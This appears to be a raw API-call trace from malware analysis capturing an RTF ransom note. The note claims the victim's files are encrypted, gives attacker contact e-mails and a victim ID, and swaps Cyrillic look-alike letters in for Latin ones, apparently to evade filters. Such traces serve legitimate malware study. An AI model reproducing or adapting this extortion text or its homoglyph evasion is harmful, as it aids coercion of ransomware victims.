sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 